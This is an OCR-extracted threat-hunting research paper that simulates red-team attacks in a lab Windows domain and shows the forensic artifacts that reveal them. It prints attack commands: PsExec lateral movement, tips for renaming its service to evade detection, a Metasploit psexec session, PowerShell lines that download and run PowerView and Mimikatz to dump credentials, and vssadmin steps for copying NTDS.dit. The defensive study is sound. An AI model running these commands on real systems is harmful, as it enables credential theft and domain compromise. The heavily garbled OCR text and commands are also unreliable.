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A lot of enterprise networks are under attack or they already have beemttacked by the

adversaries. Red teames or attackerstend to compromise the environmentswith new ways

and rely on legitimate toolswith sophisticatedtechniquesbased on their skill levels. Orthe

other hand, the job of the blue teamers becomes more challenging and difficult dse

attacker only needs to be successful ate to gain access The blue teamers need to

proactively search for evidence of compromise in the environrmerga nd t hi nk | i ke 7
teamerso in order to detthertechaiquas adnossrihe network i r ac
and the endpoints. In this reearch paper, we demonstrated somef the red team activities

that based onreal life scenarios. We have discussed about various forensic artifactsor

hunting the malicious actors and their traces. We also gave an overview about the& Rule

for detecting the malwares and the malicious files. At the end of this paper, we created some

effective SIEMuse cases for the sake ohunting, monitoring and detecting the demonstrated
scenariosas well as some hunting tips

Many enterprises novadaysare not awareabout the different types of the activities that exist

on their network and in the environment. | n f
attacked by someadversaries or some of their servers are compromised.Also, they dono
know if there are attackers hat living on their network as well aswhat the attackers have

been doingso far over the environment ljke collecting data, stealng confidential material,

obtaining login credential for lateral movements activities). With the Threatuhting, you can

proactively search for any suspicious or maliciousactivities andlook for any signs of attacks

or compromises over the endpoints and the network. Alsahe threat hunting digs deep to

find malicious actors in your environmentthat stealthy remain in the network which will

minimize the risk of an environment and decrease the number of the damage.

You can't protect what you don't know about, and understanding forensic capabilities and
artifacts is a core component of informationsecurity. I n Windows forensic
recover, analyze, and authenticate forensic data on Windows systems, track particular user
activity on your network, and organize findings for use in incident responsepmpromised
assessment,internal investigations, and civil/criminal litigation. Whether you know it or not,
Windows is silently recording an unbelievable amount of data about you and your users

Copyright © 2020 Haboob Contact Haboob: If@haboob.sa S
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In order to understand what the red eamers can do in thenetwork and whatare the various
techniques and activities that can be achieved, we have built a custom lab environment
dedicated for this purpose and wéhave simulated some of the rede¢am activities based on
real life scenarics.  Warigpose that an attacke or a red teamer has an initial access to the
network, and hence we will make such malicious activitiethat can be achieved by theed
teamers (like lateral movements activities) on some of the machines of the network.

On theother hand, we will dso simulate the role of the blue teamers and how they can hunt
the red team activities based on the scenarios that we hawereated, and what the appropriate
ways to investigate, collect and analyze some of thierensic artifacts that can lead the blue
teamers to hunt the red eamers and how to track their activites and the traces left by the
red team.

To make it clear, this is a simple overview of the LAB environment:

A Domain ControllerServer. DG01 (Active Directory).
Windows 7 ClientPG01 (DomaintJoined Machine)
Windows 10 ClientPG02 (DomainJoined Machine)
Firewall (For Internet Access)

Kali Linux (Attacking Machine).

> > D> D>

Note that for the Kali Linux machine, we will use it only to demonstrate one kiod lateral
movement technique. Howeer, most of thered team activities that we simulated on this
LAB are based on legitimate/ative tools provided by Windows

The Network information of the LAB:

A Domain Name: Haboob.local
A IP Range: 10.10.10.0/24

In this LAB environmentwe will suppose that there is no security solution in place on the
network or in the endpoints (like EDR, SIEMYV,etc.). In fact, we will rely only on the default
Windows logs and artifacts for the purpose of collecting data and investigating the suspicious
activities. Havever, we are going to use some Ope8ource tools that can help  (as a blue
team) to analyze some of the forensic artifacts.

Copyright © 2020 Haboob Contact Haboob: If@haboob.sa 6
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In this section, we are going to demonstrate some of real life scenarios for hunting and
investigating a number of redteam activities. As mentioned previously, we will suppose that
a red teamer has an initial access to the network and has made some malicious activities
over the machines of the domain.

Nowadays, many of the reddamers are cealing with such Remote Execution Tools to execute

their commands remotely and get their jobs done and they rely on the default tools
(administrator tools) that are whitelisted on most of the cases. We will start ouscenarios

with the Psexec tool. Psexets alegitimate tool provided bySysinternals from Microsoftand

itds being wused by monsWindaw$ entirbnmenta Thenattickesst r at or
usually use this tool to dotheir malicious activities like lateral movements across the
environment and execute commands remotely A basc command to geta cmd.exe session

is by using the beloncommand (as shown in figure 1)

\10.16.10.2@ -u haboob.local\ali cmd.exe -accepteula

WWW .

on. All rights r

ction:

disconnected

Figure 1. PsexecSuspicious Command

As you can see above, thattacker or the red eamer has executed the nalicious command
(from PG02) and hassuccessfullygot a cmd session (P@1) andhas run such commands.

Copyright © 2020 Haboob Contact Haboob: If@haboob.sa 7
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We can detect thisactivity from Windows Events on the source machine (P@):

General Details

Event 4648, Microsoft Windows security auditing.

14 logon was attempted using explicit credentials.

Account Name:
Account Domain:
Legon GUID:

Target Server:
Target Server Name:
Additional Information:

Process Information:
Process ID:

Process Mame:

MNetwork Information:

Subject:
Security [D: HABOOB\Al
Account Name: Ali
Account Domain: HABOOB
Logon ID: (x218E258
Logon GUID: {00000D00-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:

ali
haboob.local
{00000D00-0000-0000-0000-000000000000}

PC-01.Haboob.local
PC-01.Haboob.local

O

Network Address: 10.10.10.20

4-45|

Port:
Log Mame: Security
Source: Microsoft Windows securit){ Logged: 3/7/2020 7:33:04 PM |
Event ID: 4648 | Task Category: Logon
Level: Information Keywords: Audit Success
User: MN/A | Computer: PC-OZ.Haboob.IocaI_I

Figure 2. Windows EventD (4648) from Source Machine.

On the above event, you can see that the event type is (Security Event) and the event ID is
4648 and all the details of this activity that cptured from the source machine like the user
being used to execute commang@HaboolAli), the target serve which (PG01.Haboob.local

and the IP of the server (10.10.10.20) as well as the time of the activity and the source of

machine.

Copyright © 2020 Haboob
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We can also detect this activity from the destination machine with two event IDs (4624, 4672):

Event 4624, Microsoft Windows security auditing.

General | Details

An account was successfully logged on.

Subject:
Security ID: MNULL 5ID
Account Name: -
Account Domain: -
Logon ID: 00

Logon Type: 3

Mew Logon:
Security ID: HABOOB\AI
Account Mame: Ali
Account Domain: HABOOB
LogonID: Oxeldcc3
Logon GUID: {00000000-0000-0000-0000-000000000000}

Process Information:
Process I (%]
Process Name: =

MNetwork Information:
Workstation Mame: PC-02
Source Network Address:  10.10.10.30
Source Port: 49800
Log Name: Security
Source: Microsoft Windows security |Lugged: 3/7/2020 8:52:58 PM |
Event ID: 4624 | Task Category: Logon
Level: Information Keywords: Audit Success
User: N/A |C0mputer: PC-01.Haboob.local |

Figure 3. Windows EventD (4624) fromDestination Machine.

Event 4672, Microsoft Windows security auditing.

General | Details
Special privileges assigned to new logon.
Subject:
Security ID: HABOOB\AlL
Account Mame: Ali
Account Domain: HABOOB
Legon ID: Oxeldcc3
Privileges: SeSecurityPrivilege
SeBackupPrivilege
SeRestorePrivilege
SeTakeOwnershipPrivilege
SeDebugPrivilege
SeSystemEnvironmentPrivilege
SeloadDriverPrivilege
SelmpersonatePrivilege
Log Mame: Security
Source: Microsoft Windows securityl Logged: 3/7/2020 8:52:58 PM |
Event ID: 4572 I Task Category: Special Logon
Level: Information Keywords: Audit Success
Usen MN/A | Computer: PC-01.Haboob.local |

Figure 4. Windows EventD (4672) fromDestination Machine.
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There is anartificat to know if the psexechas ever been run by any useor not. Basically
whenver a user executes a command, a Psexec service will bgenerated on the target
machine and will leave a file on the path ©«indows with the name (PSEXESVC):

@Q |+ Computer » Local Disk (C) » Windows »

Qrganize + Include in library + Share with = MNew folder
% Fovores teme ; Detemosfied | Type s

P Desktop Tasks 7/14/2009 8:08 AM  File folder
& Downloads Temp 3/7/2020 8:53 PM File folder
1 Recent Places tracing 771472009 5:34 AM  File folder
twain_32 7/14/2009 8:32 AM  File folder
i Libraries Vss 7/14/2009 6:20 AM  File folder
7 Documents Web 7/14/2009 8:32 AM  File folder
& Music winsxs 3/2/2020 2:43 PM File folder

| Pictures [ bfswe 11/21/2010 6:24 AM  Application 70 KB

[ videos | bootstat.dat 3/3/2020 6:38 PM DAT File 66 KB

|| DtcInstall 3/3/202012:44 AM  Text Document 3KB

1% Computer il explorer 11/21/2010 6:24 AM  Application 2,805KB

[ fveupdate 7/14/2009 4:39 AM Application 15K

€ Network @ HelpPane 7/14/2009 4:39 AM  Application 717 KB

@ hh T/14/2009 4:33 AM  Application 17KB

| mib.bin 7/14/2009 2:06 AM  BIN File 43K

4 | msdfmap 6/10/2009 11:36 PM  Cenfiguration sett... 2KB

j notepad 7/14/2009 4:33 AM Application 189 KB

= PFRO 3/3/2020 6:38 PM Text Document 5KEB

| =7 PSEXESVC 3/7/2020 8:53 FM I Application 159 KB

ﬁ regedit 7/14/2009 4:29 AM Application 417 KB

| setupact 3/3/2020 6:38 PM Text Document 22 KB

|| setuperr 771472008 T:51 AM Text Document 0KB

Figure 5. PSEXESVEIle on the Target Machine.

It will also generate an evaet of a servicethat has beencreated (from system events) for the
same service(PSEXECSVC.exwijth the event ID (7045):

Event 7045, Service Control Manager

General | Details

A service was installed in the system.

Service Name: PSEXESVC

Service File Name: %aSystemRoot%:\PSEXESVC.exe
service [ype user mode service

Service Start Type: demand start

Service Account: LocalSystem

Log Mame: System

Source: Service Control Manager | Logged: 3/1/2020 8:52:58 PMl
I EventID: 7045 I Task Category: Mone

Level: Information Keywords: Classic
[ User HABOOB\AIi | [Computer:  PC-01.Haboob.local|

Figure 6. PSEXESVC Windows Evdbt(7045) fromDestination Machine

Copyright © 2020 Haboob Contact Haboob: Inf@haboob.sa 10
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You can also detecthe creation of his service on thebelow registry key:

4 Registry Editor

File Edit View Favorites Help

> -l PolicyAgent “ || Name Type Data

e Ly PortProxy ab] (Default) REG_SZ (value not set)

s - ED:VEr\:ll _ a_ﬂDispIa)rName REG_SZ PSEXESVC

b pp phiinipe % ErrorControl REG_DWORD 0:00000000 {0)

iw |, Processor

‘ ProfSuc ali) ImagePath REG_EXPAND_SZ FeSystemRootT\PSEXESYC exe

v Bl Obi

.. |, ProtectedStorage al \IObJectName REG_5Z LocalSystem

_ 7% Start REG_DWORD 000000003 (3)
| Type REG_DWORD 000000010 (1&)
| ql2300

Figure 7. Registry Value for the 8rvice (PSEXESVC).

Speaking of the registry, there is an artifacin which you can detect any Sysinternals tool
(Psexec in our case). The registry value Iog the first execution of the tool (aftelaccepting
the Eulain the command line or in GUI

ﬁ Registry Editor

File Edit View Favorites Help
Computer\HKEY_USERS\S-1-5-21-3583766964-1297818330-1736902504- 1112\ Software\ Sysinternals\PsExec
v.l: Computer

MName Type Data
:Eg—g UL";{;SEES%RS;L ab) (Default) REG_SZ (value not set)
- - [#¥EuaAccepted  REG_DWORD 0x00000001 (1)
HKEY_LOCAL_MACHINE

v .| | HKEY_USERS

. DEFAULT

5-1-5-18

5-1-5-19

5-1-5-20
5-1-5-21-3583766064-1297818350-1736002504-1109

.|| §-1-5-21-3583766964-1297818350-1736902504-1109_Classes
v .| | 5-1-5-21-3583766964-1297212350-1736902504-1112

- AppEvents

Console
Control Panel
..... Environment
) EUDC
- Keyboard Layout
v .| | Software
, .|| Classes
Google
Microsoft
Policies

w - | Sysinternals
i.8 PsExec

Figure 8. Registry Value for the Psexecxecution from Source Machine

As you can sean figure 8, the registry has logged a valuedr the Sysinternals tool (Psexec)
when it has been executed for the first time on the source machine. This also will help you to
know if any of the Sysinternals tod has ever been executed ora machine.

Copyright © 2020 Haboob Contact Haboob: Inf@haboob.sa 11
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Red Team Tp 1: you can change the service nameotanother name so you can avoid some
detection mechanismsused bysecurity solutions. Yoiwcan use the switch ¢r) along with the
name of the service you want to be created on the target machine:

\\10.10.18.20 -u haboob.local\ali| -r Habo

ific DNS suffix . :

hoami

2>hostname

Figure 9. Psexec Command with th&witch (-r).
The result is a new service name (HaboobSVC):

Organize » || Open - Print Mew folder
¢ Favorites MName T-,.'pe Size
B Desktop TAPI File folder
Tasks File folder
4 Downloads )
= Recent Places Temp File folder
tracing File folder
=5 Libraries twain_32 F!|E folder
Y Documents Vss File folder
P . Web File falder
@' Music
. winsxs File folder
k| Pictures
B Applicati 70
B Videos bfsve pplication 0 KB
|| bootstat.dat DAT File 66 KB
18 Computer | Dtclnstall Text Document 3KB
- explorer Application 2,805 KB
- B Anm . -
€ Network '_“f\reupdate pplication 15 KB
I " HaboobSVC Application 159 KB
'@' HelpPane Application 717 KB

Figure 10. HaboobSVCife on the Target Machine

This is a good way to avoidome of the detection échniques used by the bluedam. Think
about if there is a rule to degct any file created with the name (PSEXESVC), with the switch
(-r), the service name will be changed to a custom name chosen by the malicious user.

Copyright © 2020 Haboob Contact Haboob: Inf@haboob.sa 12
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Red Team Tip 2there is a famous module on the Metasploit which will create a random
service name and thent will be deleted automatically on the same time. This alswill help

you to avoid some detection mechanisms used by security solutions:

msf5 exploit( ) = exploit
se TCP handler on 10.10.10.50:4444
- Connecting to the server...

- Authenticating to|16.160.10.: 45| haboob.local as user 'ali'}..

(10.10.10.50:4444 -> 10.10.10.20:49329) at 2020-03-07 15:06:02 -0500

meterpreter > sys
Computer :
0s : Windows 7 (Build 7601, Service Pack 1)
Architecture : x64
Sy n Language : en US
: HABOOB
d On Users : 9
; x86/windows

All rights reserved.

C:\Window
hostname
PC-01

system32=hostname

Figure 11. Psexec Mdule on Metasploit.

As a blue eamer, you have tabe careful with theabove red teaning techniques andalways
check the path G\Windows for anycreated abnormal file with a suspicious name, also you
can check the registry value taletectany random service name like the one we just created

(HaboobSVC):
ﬁ’ Registry Editor
File Edit View Favorites Help
Fs_Rec * || Mame Type Data
:Deﬂle”ds 28] (Default) REG_SZ (value ot set)
e"°3mo< a5] DisplayName REG_SZ HaboobsVC
gaogop ehromeElevationService 54| ErrerCentrol REG_DWORD 0:00000000 (0)
gpsvgc ab|ImagePath REG_EXPAND_SZ | %SystemRoot%\HaboobSVC.exe |
_____ gupdate ab| ObjectName REG_SZ LocalSystem
_____ i 84 Start REG_DWORD 0:00000003 (3)
_____ e m—— | 54 Type REG_DWORD 0x00000010 (16]
howshar

Figure 12. RegistryValue for the Service(HaboobSVC).

Copyright © 2020 Haboob
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Windows Prefetch Artifact:

We canhunt the Psexec activity f
is a memory management featur

HA3CO3

rom a known artifact which is (Prefetch). Windows Prefetch
e introduced in Windows XP and Windows Ser2@03. It is

used to speed up the Windows boot process and the application startup process. The Prefetch
are stored under %SystemRoot¥refetch. Prefetch files contain various metadatalike:
executable name, run count, volume information, files and diremties referenced by the
executable, and of course, timestamps

[BE] WinPrefetchView
File Edit View Options Help

(X HR =g aa

Filename Created Time Modified Time FileSize  Process EXE Pracess Path Run Counter  Last Run Time
[ OSRSSUPDATE.EXE-9F... 3/7/2020 7:A0:08 PM  3/7/2020 7:40:08 PM 1,881 OSRSSUPDATEEXE  C\Windows\Temp\266373781\OSRSSUPDATE.EXE 1 3/7/2020 7:3%:58 PM
[EIPING.EXE-167FE96B.pf  3/2/2020 3:04:36 PM  3/3/2020 10:43:25 AM 2,967 PING.EXE el 10 3 120 10:43:24 AM, 3/3/2020 10:40:49 AM, 3/3/2020 10:40:48 AM, 3/3/2020 10:40:45 AM
E¥ POWERSHELL.EXE-02...  3/4/2020 7:08:33 PM  3/5/2020 8:08:20 PM 40,027 POWERSHELL EXE 5 3/ 120 8:08:10 PM, 3/4/2020 7:11:34 PM, 3/4/2020 7:11:25 PM, 3/4/2020 7:10:45 PM, 3/4/
[ PSEXECE4.EXE-74B005... 3/7/2020 7:33:04 PM  3/7/2020 8:53:06 PM | 6,109 PSEXECH4.EXE Desktop\SYSINTERNALSSUITE\PsExectd.exe 4 3/ 20 8:52:56 PM, 3/7/2020 7:39:45 PM, 3/7/2020 7:39:40 PM, 3/7/2020 7:32:54 PM I
# PYTHON.EXE-59CFAT... 3/5/2020 8:05:42 PM /7 83 13,883 PYTHON.EXE C:\Python2T\python.exe 14 3/ 20 8:37:00 PM, 3/7/2020 8:30:01 PM, 3/7/2020 7:48:19 PM, 3/5/2020 8:14:21 PM, 3/5/
[WE|RDSPNF EXE-TFTD409... 3/2/2020 2:10:50 PM /: 6,950 RDSPNF.EXE C:A\Windows\System32\RDSPnf.exe 1 3 20 2:10:43 PM
[%] REG.EXE-6ASB696D. pf  3/4/2020 7:11:08 PM /7 2 7,889 REG.EXE CAWindows\System32\reg.exe 15 3 20 8:29:25 PM, 3/7/2020 7:50:00 PM, 3/7/2020 7:47:40 PM, 3/5/2020 8:13:58 PM, 3/5/
[E|REG. EXE-CC1AFOAd.pf  3/7/2020 Z:421TPM  3/7/2020 7:421TPM 2,794 REG.EXE CAWindows\SysWOWB4\reg.exe 5 3/7/2020 7:42:17 PM, 3/7/2020 7:42:17 PM, 3/7/2020 7:42:17 PM, 3/7/2020 T:42:17 PM, 3/7/
E REGEDIT.EXE-246AC2...  3/3/20209:57:39 PM  3/3/2020 :58&:34 PM 7,294 REGEDIT.EXE C:\Windows\regedit.exe 2 3/3/2020 9:58:24 PM, 3/3/2020 %:57:29 PM
Figure 13. Prefetch Hles.
Properties =

Filename: |[PSEXECE4.EXE-7 ABO0SEB.pt |

Created Time:  [3{7/2020 7:33:04 PM |

Modified Time:  [3/7/2020[8:53:06 PM |

File Size: [6.109 |

Process EXE:  |PSEXECE4.EXE |

Process Path: | CiAUsers\RayaniDesktopA\SYSINTERNALSSUITEVPsE |

Run Counter: |4 |

Last Run Time:  [3/7/2020 8:52:56 PM, 3/7/2020 7:39:45 PM, 3{7{2020|

Missing Process: |Nn |

Figure 14. Prefetch Hles (Psexec).

Wecan clarify that there are anumber of executed fileg(as shown in figurel3), one of them
is Psexectool. You canalso see how many times the Psexec has been ruthe path of the
file, and last run times (figure 14) Prefetch is a great forensic artifact which anyDFIR
specialist or blue teamerhas to use itin order to hunt their enemies.
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ShimcacheArtifact:

Shimcache, also known as AppCompatCache, is a component of the Application Compatibility
Database, which was created by Microsoft and used by the Windows operating system to
identify application compatibility issues. Tis helps developers troubleshoot legacy functions
and contains data related to Windows features. It is used for quick search to decide whether
modules need shimming for compatibility or notThe ShimCache stores various metadata,
such as:File Full Path File Size Last Modified time Process Execution Flag

As a threat hunter, we can hunt the Psexec activity (and other activities) wihimcache:

P C:\Python27>| .~python.exe C: 1F\thad\Deﬂktop\ShlmCac]\ePal ser—mastersShimCacheParser.py —i C:\Users:Ahmed-Desktop~SYSTEM
[+]1 Reading 1egl..\:ly AivET =< \HﬂNB(\\DE.»K\:D])\b!bth
[+]1 Found b4bit U ows k! Cache data.
[+]1 Found 641)1': I.J
di

o en32\Saa1c1|F11telHo.,t exe N/A True
~system32:iSearchProtocolHost.exe NAA True

sWPEEAESUC . exe NsA True

g stendZ~consent.exe N/A True
ndowss\System32nfontext.dll M/A False
ndows\Systen32imscoree.dll N-A False

w.dll NsA False
ndowss\System32\u xt.d1ll N/A False
ndows\Systen32sn -kexplnxex dll N-A False
“Windows\Eysten32\nts
24 41 N/ﬁ C SMindowssSystem32hcsc (l
:36 N/A G:xMindows\System32\EhStorShell. dll N/ﬂ False

! Select—8tring “psexesvc"

dows“\PSEXESUC.exe MN/A True
dnm‘\PSEXESUC exe N/A True
dows“\PSEXESUG.exe N-/A True
dous“PSEXESUC._exe N/A True
dows“PSEXESUC.exe MN/A True
dows\PSEXESUC.exe NsA True
dows“\PSEXESUG.exe N/A True
dous“PSEXESUC.exe N/A True
dows“PSEXESUC.exe N/A True
dows\PSEXESUC.exe N-A True
dows“\PSEXESUG.exe N/A True
dous“PSEXESUC.exe N/A True
dows“PSEXESUC.exe N/A True
dows\PSEXESUC.exe N-A True
dows“\PSEXESUG.exe N/A True
dows“\PSEXESUG.exe N/A True
dous\PSEXESUC._exe N/A True
dows\PSEXESUC.exe N-A False
dows“\PSEXESUG.exe NsA False

:\Windows\PSEXESUC.exe H-/A False
? N/A C:\Windows\PSEXESUC.exe H/A False
B3/B3/ZB 15 56 15 N/A C:\Windows“\PSEXESUC.exe N/A False

Figure 16. ShimcacheResults for PSEXESVC

You can see on the aboviigures that we used a Shimcache parser todo extract the cache
information from the registry hive (SYSTEM). The results are a quite number of tools and files
that whether has an execution flag or not. In our casehe Psexec tool is indeed has been
executed and the execution flag is set to (true).
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PowerShell is veryknown to the attackers and the red teamersThey often use PowerShell
to achieve their goals and make the job easiehere arecommon PowerShell scripts that
can be usedfor enumeration, privilege escalation and persistence. In thiscenario, we will
demonstrate that an attacker has used some suspicious PowerShell scripts and executed

malicious commands to achieve theat ac ker 6 s

goal i n the networKk

As a threat hunter, we have to alwayscheck the PowerShell events in order to detect any

kind of malicious or suspicious commands:

Event 600, PowerShell (PowerShell)

General Details

Provider "Environment” is Started.

Details:
ProviderMame=Environment
NewProviderState=Started

SequenceMumber=5

HostName=ConsoleHost

HostVersion=5.1.15063.1387

Hostld=319%fal1b-alba-4633-b3h4-88493d48db13

HostApplication=C:\Windows\System32\WindowsPowerShell\w1 .0\ powershell.exe -ExecutionPolicy bypass |
ngineversion=

Runspaceld=

Pipelineld=

CommandName=

CommandType=

ScriptMames=

CommandPath=

CommandLine=

Windows PowerShell
PowerShell (PowerShell)
600

Infermation

N/A

Log Mame:
Source:
Event ID:

4/10/2020 8:0%01 PM
Task Category: Provider Lifecycle
Keywords:

Computer:

Logged:

Classic
PC-02.Haboob.local

Level:

User:

Figure 17. PowerShell Bvent ID (600).

Event 4104, PowerShell (Microsoft-Windows-PowerShell)

General Details

Creating Scriptblock text (1 of 1):
powershell -ExecutionPolicy bypass

ScriptBlock |D: ac53bala-5a17-49a6-9f60-fadd 3d19df38
Path:

Figure 18. Microsoft Windows PowerShell Bvent ID (4104)

In the above events, we see that some users have bypassed the execution policy of the
PowerShell. This activity is usually done by malicious users to allow them for running such

scripts which by defaut the policyi s set t o

i R e sit preveats tkedexecutiolm h e r e f «

of PowerShell scripts. The events that triggered this activity can be found on (PowerShell

eventsii F i g u)raed (MicfogoftWindows PowerShell eventsi Fi g u) e
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After going through the events, we have observed the below suspicious event:

Event 4104, PowerShell (Microsoft-Windows-PowerShell)

General  Details

Creating Scriptblock text (1 of 31):
Frequires -version 2

<

PowerSploit File: PowerView.ps1
Author: Will Schreeder (@harmjly)
License: BSD 3-Clause

Required Dependencies: None
Optional Dependencies: None

£
# PSReflect code for Windows APl access

# Author: @mattifestation

# https://raw.githubusercontent.com/mattifestation/PSReflect/master/PSReflect. psm
£

function New-InMemoryModule
i v

Log Name: Microsoft-Windows-PowerShell/Operational

Source: PowerShell (Microsoft-Wind Logged: 4/10/2020 9:42:34 PM

Event ID: 4104 Task Category:  Execute a Remote Cornmand
Level: Warning Keywords: MNone

User: HABOOB'\Rayan Computer: PC-02 Haboob.local

Figure 19. SuspiciousScript 1 - Microsoft-Windows PowerShell Event ID (4104).

Event 4104, PowerShell (Microsoft-Windows-PowerShell)

General Details

Creating Scriptblock text (26 of 31):
ounts' or
'ssn’ in the name, and write everything to "out.csv”

JLINK
https/www.harmjly.net/blog/redteaming/file-server-triage-on-red-team-engagements/

&

[CrdletBinding()]

param(
[Parameter(Position=0,ValueFromPipeline=$True)]
[Alias('Hosts")]
[Stringf]]
SComputerName,

[ValidateSeript{{Test-Path -Path 5_ }]]
[Alias({'HostList')]

[String]

SComputerFile,

[String]
SCommuterFilter
Log Name: Microsoft-Windows-PowerShell/Operational
Source: PowerShell (Microsoft-Wind Logged: 4/10/2020 9:42:34 PM
Event ID: 4104 Task Category: Execute a Remote Command
Level: Warning Keywords: Mone
User: HABOOB\Rayan Computer: PC-02.Haboob.local

Figure 20. Suspicious Script2 - Microsoft-Windows PowerShel Event ID (4104).

We can see that a malicious script has been executed on the targetachine (PC02). The
script is PowerViewwhich isa famous PowerShell modulethat its main goal to enumerate
the target domain (like enumerating domain users, groups, coputers, GPOSACLS).
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HA3CO3

Event 4104, PowerShell (Microsoft-Windows-PowerShell)

General Details

Creating Scriptblock text (1 of 220):
function Invoke-Mimikatz

<z
.SYNOPSIS

This script leverages Mimikatz 2.0 and Invoke-ReflectivePEInjection to reflectively load Mimikatz completely in nemory. This allows you to do things such as
dump credentials without ever writing the mimikatz binary to disk.
The script has a ComputerMame parameter which allows it to be executed against multiple computers.

This script should be able to dump credentials from any version of Windows through Windows 8.1 that has PowerShell v2 or higher installed.

Function: Invoke-Mimikatz

Author Joe Bialek, Twitter: @JosephBialek

Mimikatz Auther: Benjamin DELPY “gentilkiwi’, Blog: http://blog.gentilkiwi.com. Email: benjamin@gentilkiwi.com. Twitter @gentilkiwi
License: http://creativecommons.org/licenses/by/3.0/fr/

Required Dependencies: Mimikatz (included)

Optional Dependencies: None

Mimikatz version: 2.0 alpha (12/14/2015)

.DESCRIPTION
Log Mame: Microsoft-Windows-PowerShell/Operational
Source: PowerShell (Microsoft-Wind Logged: 4/10/2020 8:09:20 PM
Event ID: 4104 Task Category: Execute a Remote Command
Level: Warning Keywords: Mone
User: HABOOB\Rayan Computer: PC-02.Haboob.local I

Figure 21. Suspicious Script 3 Microsoft-Windows PowerShell Event ID (4104).

This time we have detected the Mimikatz PowerShell script from Bgamin (the author of this
tool ) . ltés clearly that the attacker has f
downloaded the Mimikatz and dumped the passwords ofi¢ logged in users from memory.

There is another great source for the PowerShell histy commands which is a file called
(ConsoleHost_history.txt). The fileecords all the commands typed by any usein the
PowerShell terminal By default, it will save all the typed commands (starting from
PowerShell V5 on Windows 10). Actually, this isgwod forensic artifact in which we can hunt
for malicious commands of any suspected compromised user(or se it proactively for

hunting). See the figure 22 for the location of the file.

(e =1 SearchTools  PSReadline
Home Share View Search

< v > Rayan » AppData » Roaming » Microsoft » Windows » PowerShell » P5Readline v
Mame Date modified Type Size
# Quick access
[ Desktop

4 Downloads

j ConsoleHost_history.bd 4/10/2020 8:31 PM Text Document 4KB

= Documents
&= Pictures
J’! Music

B Videos

@ OneDrive

Figure 22. PowerShell History File Location.
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After opening the file, we can see all the commands th&iave been typed as shown below:

| ConsoleHost_history.bit - Notepad - m} b4

Eile Edit Format View Help
net users

net users [domain

powershell -ExecutionPolicy bypass

iex (MNew-Object Met.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.psl')
Get-NetDomain

Get-NetGroup

Get-NetGPO

Find-LocalAdminAccess

Invoke-UserHunter

cd C:\

dir

ipconfig

iex (New-Object Met.WebClient).DownloadString( https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.psl™)
Invoke-Mimikatz -DumpCreds

Invoke-Mimikatz -Command "“privilege::debug” "sekurlsa::logonpasswords” exit’-ComputerMame PC-@1
net localgroup "Administrators”

net group "Domain Computers” /domain

net group "Domain Admins" /domain

nslookup PC-@1

ping 10.10.1@.2@

Enter-PSSession -ComputerName PC-81 -Credential Haboob.locallAli
Enter-PSSession -ComputerName PC-81 -Credential Haboob.local\Ali
ipconfig.exe

hostname

exit

Invoke-Mimikatz -DumpCreds

net group "Domain Controllers” /domain

nslookup DC-81

ping 10.10.18.16

Enter-PSSession -ComputerName DC-81 -Credential haboob.locallali
ipconfig.exe

exit

Figure 23. The Content of the PowerShell History File.

We can confirm that the whole target domain is compromised from the above commands
(Figure 23) Basically, he attacker or the red teamerhas used the malicious scripts as we
explained before (PowerView.psl and Mimikatz.psl1). Then, he dumped the passwords of
another computer (P@01) from the memory by using the (InvokéMimikatz). After that, he
enumerated the Domain Controlles of the current domain (Haboob.local). Then, he
connected to theDG01 using a Domain Admin credentials (Ali) with thBowerShell Remoting
(PSSession. Moreover, we can confirm this activity by checking the Windowsecurity events:

Event 4648, Microsoft Windows security auditing.

General  Details

A logon was attempted using explicit credentials.

Subject:

Security |D: HABOOB\Rayan

Account Name: Rayan

Account Domain: HABOOB

Logon ID: 030154

Logon GUID: {00000D00-0000-0000-0000-000000000000}
Account Whose Credentials Were Used:

Account Name: ali

Account Domain: HABOOB.LOCAL

Logon GUID: {00000D00-0000-0000-0000-000000000000}

Target Server:
Target Server Name: DC-01
Additional Information: ~ HTTP/DC-01

Process Information:
Process ID: D164
Process Name: |C:\Windows\SystemR\WindowsP owerShell\w1.0\powershell.exe |

Figure 24. Attacker Successfully ©@nnected to DG Windows Security Event ID (4648).
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NTDS.dit file is a database of the Active Directory that stores all the information about user
accounts groups, password hashesWhenever an attacker or a red teamer has Domain
Admin privileges (as demonstrated on the previous scenarioand connectsto the Domain
Controller (DC), he usually collectthe NTDS.dit filedrom the DC in order tadump the file and
extract all the password hashes of all the domain users including the high privilege accounts
(such as Domain Admins) and then he can crack the passwords offline to get clear text
passwords.

This activity (stealing the NTDS.dit file from D@3 usually done by using the vssadmin utility
from Windows which will enable the creation of shadow copies for any drive (C drive in our
case). This will allow the attacker to copy any file on the disk even if the file is running and
cannot be copied in a normal casésuch as NTDS.dit file which cannot be copied). Below is
the command tocreate a shadow copy for C drive and cogire NTDS.difile:

C:sMindowsssysten3d2 dussadmin list shadows
vgsadmin 1.1 — Uolume Shadow Copy Service administrative command-line tool
(G> Copyright 2081-2813 Microsoft Corp.

Contents of shadow copy set ID: {Pe5233fh-8add4-4283-adaa—c5fde?514d64>
Contained 1 shadow copies at creation time: 4-11-2828 3:-44:85% AM
Shadow Copy ID: {1f5a@b6?-988c—425bh—h5h7-70587cBBB2dd>

Original Volume: O\ \?“\Uoplume{717aaehc—5cd2-11ea—80h4-BB6ebfbebTaIININNT
“Uolume{?17aaebc—5cd2—11ea—-80h4-8B6ebfhebF633

Shadow Copy Volume: “N?GLOBALROOI“Device“HarddiskUolumeShadowCopyl

Originating Machine: DC-#1.Habhoob.local

Service Machine: DC-81.Habhoob.local

Provider: ’'Microsoft Software Shadow Copy provider 1.8°

Type: ClientAccessible

Attributes: Persistent,. Client—accessible. Mo auto release,. Mo writers.
Differential

C:xMindowsssystend2 pussadmin create shadow ~for=C:
vgsadmnin 1.1 — Uolume Shadow Gopy Service administrative command—-line tool
(G> Copyright 2081-2813 Microsoft Corp.

Successfully created shadow copy for *C:iv’
Shadow Copy ID: {564fbbeb—haib—4382-b7?4d—aab2fcccl536>
Shadow Copy Volume MName: ““\7N\GLOBALROOT“Device“HarddiskUolumeShadowCopy2

C:sMindowsssystend2 dcopy SSTWNGLOBALROOTADevicesHarddiskUolumeShadowCopyZ2sHindows
“Syzten32sconf ig~EYETEH C:~EYETEM._hive
file<s> copied.

C:sMindowsssystend2 dcopy SW?WGLOBALROOTADevicesHarddisklUolumeShadowCopyZ2sHindows
SNIDESNTDS .dit CG:“NTDS.dit
file<s> copied.

